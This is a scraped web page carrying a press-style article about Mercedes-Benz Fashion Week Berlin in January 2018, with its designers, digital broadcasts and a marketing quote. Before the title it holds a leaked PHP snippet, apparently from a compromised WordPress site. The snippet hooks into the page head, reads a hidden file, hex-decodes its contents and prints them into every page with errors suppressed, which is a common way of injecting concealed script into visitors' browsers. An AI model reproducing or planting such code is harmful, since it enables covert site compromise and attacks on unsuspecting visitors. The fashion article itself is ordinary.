if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } WHITE Communications GmbH |FASHION WEEK BERLIN 2018

Ever since the Fashion Week started, the pessimists have been prophesying doom and gloom: Germany isn’t a fashion country, they said, and Berlin is anything but a fashion hub. As a result, the show in Germany’s offbeat capital has been declared dead more than once. But the last Mercedes-Benz Fashion Week (MBFW) from 15 to 17 January was a real eye-opener for the sceptics. More than ever before, Berlin is a fashion hotspot that has now reinvented itself into the bargain. The show provides a platform for new labels and established brands alike – and has now become a much younger event. It owes its rejuvenation to a smart digitalisation concept that not only appealed to the trade professionals but included the general public as well. Backstage peeks, shows and impressions were broadcast in public screenings. Fashion fans could also enjoy the highlights on the organiser’s website or Instagram. The labels and designers who accepted the invitation from Elle and Mercedes-Benz and presented their ideas for autumn/winter at the ewerk event location included Dawid Tomaszewski, Ivanman, Ewa Herzog, Cashmere Victim, Riani, Sportalm Kitzbühel, Irene Luft, Maisonnoée, Bogner and the Callisti label. And they were rewarded with applause not just from the edge of the catwalk but from people on the street too. The organisers were delighted: “Berlin is by far the biggest and most important fashion hub in the German-speaking world, and we have complete faith in its relevance and potential,” says Katja Ohly-Nauber, head of marketing communications for Mercedes-Benz Cars Germany. “We will continue to enhance the newly aligned Mercedes-Benz Fashion Week prior to the second edition in July so as to provide support for the various facets of the Berlin fashion scene.”

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